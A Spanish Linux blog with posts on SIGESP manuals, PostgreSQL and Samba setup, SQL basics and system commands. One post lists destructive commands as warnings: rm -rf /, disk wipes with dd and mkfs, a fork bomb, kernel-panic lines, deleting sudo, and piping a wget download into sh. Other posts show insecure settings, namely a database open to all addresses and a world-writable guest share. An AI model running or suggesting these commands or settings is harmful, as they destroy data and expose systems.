TECNOLOGÍA LIBRE
Un poquito de Libertad Linux
viernes, 30 de octubre de 2020
SIGESP PRIMEROS PASOS
MANUALES DE SIGESP Y VIDEO COMENTA QUE DESEAS APRENDER
CUENTAS POR PAGAR MODULO CONF PRESUPUESTARIO DE GASTO
MODULO DE COMPRAS MODULO DE PROVEEDORES Y BENEFICIARIOS
MODULO DE SEP MANUAL_RECURSOS_HUMANOS
MANUAL NOMINA MANUAL_CONTABILIDAD_PRESUPUESTARIA_GASTO
martes, 27 de octubre de 2020
SIGESP CONFIGURACION POSTGRESQL
GENERAMOS LAS LOCALES
dpkg-reconfigure locales
ESCOGEMOS
es_ES@euro ISO-8859-15
DETENEMOS SERVIDOR DE POSTGRESQL
/etc/init.d/postgresql stop
renombrar o eliminar los directorios originales
rm /var/lib/postgresql/8.4/main/ -r
rm /etc/postgresql/8.4/main/ -r
pg_createcluster 8.4 main --locale=es_ES@euro
iniciar el servidor
/etc/init.d/postgresql start
COLOCAMOS CONTRASEÑA POSTGRES
pg_hba.conf
nano /etc/postgresql/8.4/main/pg_hba.conf
Database administrative login by UNIX sockets
local all postgres md5
# TYPE DATABASE USER CIDR-ADDRESS METHOD
# "local" is for Unix domain socket connections only
local all all md5
# IPv4 local connections:
host all all 127.0.0.1/32 md5
# IPv6 local connections:
host all all ::1/128 md5
host all all 192.999.0.0/0 md5
postgres.conf
nano /etc/postgresql/8.4/main/postgres.conf
listen_addresses = 'localhost' CAMBIO CON listen_addresses = '*'
REINICIAMOS POSTGRES
/etc/init.d/postgresql restart
domingo, 25 de octubre de 2020
UN POCO DE POSTGRESQL
COMANDO SQL BÁSICO
SHOW TABLES
Este campo es para mostrar todas las tablas en la base de datos MySQL actual. seleccionada
SHOW COLUMNS
Este campo es para mostrar información acerca de las columnas en una tabla.
Valores de cada columna
Field: Nombre de la columna Key: Indica si la columna esta indexada.
Type: Tipo de Datos de la Columna. Default: Valor por defecto asignado a la columna.
SQL Permite ejecutar múltiples consultas o comandos en la misma linea
BETWEEN
Permite verificar si algún valor esta dentro de un rango de valores Ejemplo un rango de fecha determinado
Fecha BETWEEN '2018-01-01' AND '2018-12-31'
ACTUALIZAR DATOS POSTGRESQL
Declaración UPDATE nos permite alterar los Datos en una tabla
UPDATE table_familia
SET nombre=pepe, apellido=peregil SOY EL MALO
WHERE condition; SOY BUENO
Donde el nuevo valor son específicos en una lista separada por comas despues de la palabra clave SET
LOS OPERADORES DE ASIGNACIÓN
Los Operadores de asignación asignan valores a variables de JavaScript.
Codificación PostgreSQL
update pg_database set encoding=8 where datname=’PRUEBA’;
N° de encoding Name Descripción
0 SQL_ASCII ASCII
1 EUC_JP Japanese EUC
2 EUC_CN Chinese EUC
3 EUC_KR Korean EUC
4 JOHAB Korean EUC (Hangle base)
5 EUC_TW Taiwan EUC
6 UNICODE Unicode (UTF-8)
7 MULE_INTERNAL Mule internal code
8 LATIN1 ISO 8859-1/ECMA 94 (Latin alphabet no.1)
9 LATIN2 ISO 8859-2/ECMA 94 (Latin alphabet no.2)
10 LATIN3 ISO 8859-3/ECMA 94 (Latin alphabet no.3)
11 LATIN4 ISO 8859-4/ECMA 94 (Latin alphabet no.4)
12 LATIN5 ISO 8859-9/ECMA 128 (Latin alphabet no.5)
13 LATIN6 ISO 8859-10/ECMA 144 (Latin alphabet no.6)
14 LATIN7 ISO 8859-13 (Latin alphabet no.7)
15 LATIN8 ISO 8859-14 (Latin alphabet no.8)
16 LATIN9 ISO 8859-15 (Latin alphabet no.9)
17 LATIN10 ISO 8859-16/ASRO SR 14111 (Latin alphabet no.10)
18 ISO_8859_5 ISO 8859-5/ECMA 113 (Latin/Cyrillic)
19 ISO_8859_6 ISO 8859-6/ECMA 114 (Latin/Arabic)
20 ISO_8859_7 ISO 8859-7/ECMA 118 (Latin/Greek)
21 ISO_8859_8 ISO 8859-8/ECMA 121 (Latin/Hebrew)
22 KOI8 KOI8-R(U)
23 ALT Windows CP866
24 WIN874 Windows CP874 (Thai)
25 WIN1250 Windows CP1250
26 WIN Windows CP1251
27 WIN1256 Windows CP1256 (Arabic)
28 TCVN TCVN-5712/Windows CP1258 (Vietnamese)
sábado, 17 de octubre de 2020
INFORMACIÓN DEL SISTEMA EN LINUX
uname -a: Información sobre el sistema operativo de la maquina.
df -h: Información sobre todo los dispositivos montados en la maquina.
hostname: Devuelve el nombre de la maquina.
uptime: Cantidad de tiempo trascurrido desde la ultima vez que se arranco el sistema, cantidad de usuarios trabajando en el sistema y carga del sistema).
dmesg|more: Imprime el "ring buffer" del kernel.
free -tm: Información sobre la cantidad de memoria disponible y usada.
du -bh /|more: Información sobre el espacio ocupado por cada subdirectorio, comenzando en el directorio raiz /.
ps: Información sobre los procesos del actual usuario, que se estan ejecutando.
ps axu: Información sobre todos los procesos que se estan ejecutando en la maquina.
top: Informacion sobre el uso de cpu y memoria de los procesos del sistema.
cat /proc/cpuinfo: Información sobre el microprocesador.
cat /proc/interrupts: Información sobre las interrupciones en uso.
cat /proc/dma: Información sobre dma en uso.
cat /proc/filesystems: Información sobre los sistemas de archivos que se pueden utilizar (compilados en el kernel).
/sbin/lsmod: Información sobre módulos en uso.
finger usuario: Información sobre el usuario usuario.
who: Información sobre usuarios usando el sistema.
id usuario: UID, GID y GROUPS del usuario usuario
last: Informacion últimos usuarios que han usado el sistema.
set|more: Sobre el entorno de usuario actual.
ping maquina: Para comprobar si tenemos contacto con la maquina maquina (maquina: nombre o IP)
/sbin/route: Tabla de enrutamiento de nuestro sistema.
/sbin/ifconfig: Información sobre los distintos dispositivos de red
netstat: Información valiosa sobre la conexión de red (Este comando tiene muchas posibilidades, ejecutar man netstat
#tailf /var/log/squid3/access.log | perl -pe ‘s/\d+/localtime($&)/e’
Y puedes filtrar cualquier sitio:
#tailf /var/log/squid3/access.log | perl -pe ‘s/\d+/localtime($&)/e’| grep facebook.com
…y listo.
ELIMINAR
Linux para eliminar todo lo que quieras sin preguntar es un
regalo del cielo, especialmente después de años de errores de “Este archivo no
puede ser eliminado” en Windows. Pero los trolls de Internet se apresurarán a
engañarte para que recibas comandos de eliminación extremadamente peligrosos
que pueden acabar con todos tus discos duros.
a) rm -rf /
Esta línea ejecuta el comando rm delete con dos
modificadores: -r, que provoca un borrado recursivo a través de todos los
subdirectorios, y -f, que hace que se borren los archivos de sólo lectura sin
confirmación. El comando se ejecuta en el directorio /root, borrando
esencialmente todo el sistema.
ü
rm: se utiliza para eliminar archivos.
ü
rm -r: borra la carpeta recursivamente, incluso
la carpeta vacía.
ü
rm -f: elimina el ‘Archivo de sólo lectura’ sin
preguntar.
ü
rm -rf /: Fuerza la eliminación de todo en el
directorio raíz.
ü
rm -rf *: Fuerza la eliminación de todo en el
directorio actual/de trabajo.
ü
rm -rf .: Fuerza la eliminación de la carpeta
actual y las subcarpetas.
Ten en cuenta que en la mayoría de los sistemas Linux de hoy
en día, si intentas esto, recibirás una advertencia. Pero una advertencia no
está garantizada, así que no lo hagas.
Consejo
Para evitar el borrado accidental de archivos mediante el
comando ‘rm’, crea un alias del comando ‘rm‘ como ‘rm -i‘ en el archivo
“.bashrc“, que te pedirá que confirmes cada borrado.
FORMATEAR EL DISCO
El terminal es especialmente complicado para los novatos en
Linux porque ofrece varias formas de borrar accidentalmente un disco duro. El
borrado otro
mkfs.ext3 /dev/hda
Este comando formatea un disco duro para utilizar el sistema
de archivos ext3. Formatear un disco no es intrínsecamente malicioso, pero
“reinicia” el disco para que quede “como nuevo”. En otras palabras, un disco
duro formateado es como una pizarra en blanco.
El formateo es útil para las particiones de disco y las
unidades externas, pero realizarlo en un disco duro entero (por ejemplo,
/dev/hda) es peligroso y puede hacer que tu sistema sea irrecuperable.
mkfs.ext4 /dev/sda
3. SOBRESCRIBIR EL DISCO DURO
Como si formatear accidentalmente una unidad no fuera
suficientemente malo, es posible sobrescribir el disco duro con datos sin
procesar. Al menos formatear un disco es un procedimiento real con uso en el
mundo real; en cambio, sobrescribir directamente un disco no es tan bueno.
comando > /dev/hda
En el comando anterior, el comando puede ser reemplazado por
cualquier comando Bash. El operador > redirige la salida del comando de la
izquierda al archivo de la derecha. En este caso no importa cuál es la salida
del comando de la izquierda. Estos datos en bruto se redirigen y se utilizan
para sobrescribir el disco duro del sistema.
Como puedes imaginar, esto lo hace inútil.
ü
BORRAR EL DISCO DURO
Esta es otra forma de arruinar tu sistema. Esta vez el
comando pondrá a cero completamente tu disco duro. No hay corrupción ni
sobreescritura de datos; literalmente llenará tu disco duro de ceros. El disco
duro ya no se borra.
ü
dd if=/dev/zero of=/dev/hda
El comando dd es una instrucción de bajo nivel que se
utiliza principalmente para escribir datos en discos físicos. El parámetro if
define la fuente de datos, que en este caso es /dev/zero, un especial de Linux
que crea un flujo infinito de ceros. El parámetro of define el destino de estos
ceros, que es la unidad /dev/hda.
Sí, hay razones legítimas para poner a cero el disco, pero
si no sabes cuáles son esas razones, deberías mantenerte alejado de este
comando.
ü
HACER ESTALLAR TU DISCO DURO
Si estás cansado de escuchar formas de romper tu disco duro,
espera. Aquí hay otro para ti. Linux tiene un archivo especial /dev/null que
descarta cualquier dato que se escriba en él. Puedes pensar en él como un
agujero negro o un destructor de archivos: todo lo que se le dé como entrada
será devorado para siempre.
ü
mv / /dev/null
¿Puedes detectar un peligro aquí? El comando mv intenta
mover el directorio raíz del sistema / a un agujero negro /dev/null. Este es un
comando válido y el resultado es terrible: se come el disco duro y no queda
nada.
ü
CAUSAR EL KERNEL PANIC ERROR
Windows tiene su infame pantalla azul de la muerte Y, a
pesar de los mitos que circulan, Linux no es un sistema completamente seguro. A
veces se produce un error interno que hace imposible la recuperación, por lo que
el sistema producirá algo parecido a una “pantalla azul”: kernel panic.
dd if=/dev/random of=/dev/port echo 1 >
/proc/sys/kernel/panic cat /dev/port cat /dev/zero > /dev/mem
Las complejidades de los comandos anteriores no son
importantes aquí. Lo importante es que la ejecución de cualquiera de estas
líneas hará que el kernel entre en pánico, obligando a reiniciar el sistema. Es
mejor no utilizar estos comandos a menos que estés seguro de que sabes lo que
está haciendo.
MovieSquare Cliente Descubrimiento Películas Linux
MOVIESQUARE: CLIENTE DE DESCUBRIMIENTO DE PELÍCULAS PARA
ESCRITORIO LINUX
ü
BOMBA FORK
Bash es un lenguaje de terminal y es poderoso. No sólo puede
ejecutar comandos, sino que también puede ejecutar funciones, lo que facilita
la escritura de scripts que pueden automatizar las tareas del sistema. Por
desgracia, las funciones no están exentas de riesgos.
:(){:|:&};:
Para tener una mejor idea de cómo funciona, vamos a
convertirlo un poco:
fu() {
fu | fu &
}
fu
Este oscuro comando se llama fork bomb, que es un tipo
especial de kernel panic. Define una función llamada : que se llama a sí misma
recursivamente dos veces durante la ejecución. Una de las llamadas recursivas
se produce en primer plano y la otra en segundo plano.
En otras palabras, cada vez que se ejecuta esta función,
genera dos procesos hijos. Estos hijos engendran sus propios procesos hijos, y
este bucle continúa un bucle sin fin. La única manera de salir de esto es
reiniciar el sistema.
8. EJECUTAR UN SCRIPT REMOTO
He aquí un comando inocente que puede ser realmente útil en
la vida diaria de Linux. wget extrae el contenido de una webURL que puede
utilizarse para acceder a sitios web o descargar archivos. Sin embargo, hay un
sencillo truco que lo hace peligroso:
wget http://url-no-fiable -O- | sh
La combinación anterior descarga el contenido de la URL dada
y lo pasa inmediatamente al comando sh, que ejecuta el contenido descargado en
la terminal. Si la URL hubiera apuntado a un script malicioso, habría
confundido su destino con este comando.
ü
SOBRESCRIBIR ARCHIVO DE CONFIGURACIÓN
Un comando que puede sobrescribir un archivo de
configuración importante. En Linux hay dos funciones que confunden en parte
> – reemplazar y >> – añadir. Así que si escribes > archivo.conf,
puedes simplemente borrar el contenido del archivo.
comando > archivo.conf
ü
DESACTIVAR LOS PERMISOS DE ROOT
Este último comando es sencillo. Utiliza el comando rm de
uso común para desactivar los dos comandos más importantes de Linux: sudo y su.
En resumen, estos dos permiten ejecutar otros comandos con privilegios de root.
Sin ellos, la vida en Linux sería miserable.
rm -f /usr/bin/sudo;rm -f /bin/su
jueves, 1 de octubre de 2020
GRUB EN DEBIAN Y WINDOWS
sda *
|
MBR
|
||
sda1
|
Primaria
|
Windows
|
|
sda2
|
Primaria
|
Windows
|
|
sda3
|
Primaria
|
Swap
|
|
sda4
|
Extendida
|
||
sda5 *
|
Lógica
|
/root
|
Debian
|
sda6
|
Lógica
|
/home
|
Debian
|
sda7
|
Lógica
|
/root
|
Otra
distribución Linux
|
sda8
|
Lógica
|
/home
|
Otra
distribución Linux
|
# grub-install --recheck /dev/sda
# mount /dev/sda5 /mnt
Reinstalamos el Grub en el MBR del disco sda
# grub-install --root-directory=/mnt/ /dev/sda
viernes, 1 de noviembre de 2019
SAMBA EN DEBIAN GNU
apt-get install samba
cd etc/samba
Archivo de configuración de samba
etc/samba/smb.conf
solo para copiar y pegar
[global]
workgroup = preprensa
server string = %h server
syslog = 0
log file = /var/log/samba/log.%m
max log size = 1000
os level = 33
dns proxy = No
ldap ssl = no
panic action = /usr/share/samba/panic-action %d
winbind separator = winbind cache time = 300
invalid users = root
locking = No
wins support = no
[homes]
comment = Home Directories
valid users = %S
create mask = 0700
directory mask = 0700
browseable = No
[printers]
comment = All Printers
path = /var/spool/samba
create mask = 0700
printable = Yes
browseable = No
[print$]
comment = Printer Drivers
path = /var/lib/samba/printers
[preprensa]
comment = Directorio de respaldo para unidades Windows
path = /home/administrador/preprensa
read only = No
create mask = 0777
force create mode = 0777
directory mask = 0777
force directory mode = 0777
guest ok = Yes
available = yes
browseable = yes
public = yes
SIGESP PRIMEROS PASOS
Como Crear una Cuenta de Usuario Entrar en el Modulo Herramientas del Sistemas --- Seguridad --- Definiciones --- U...
-
MANUALES DE SIGESP CUENTAS POR PAGAR MODULO CONF PRESUPUESTARIO DE GASTO MODULO DE COMPRAS ...
-
COMANDO SQL BÁSICO SHOW TABLES Este campo es para mostrar todas las tablas en la base de datos MySQL actual. seleccionada SHOW COLUMNS ...
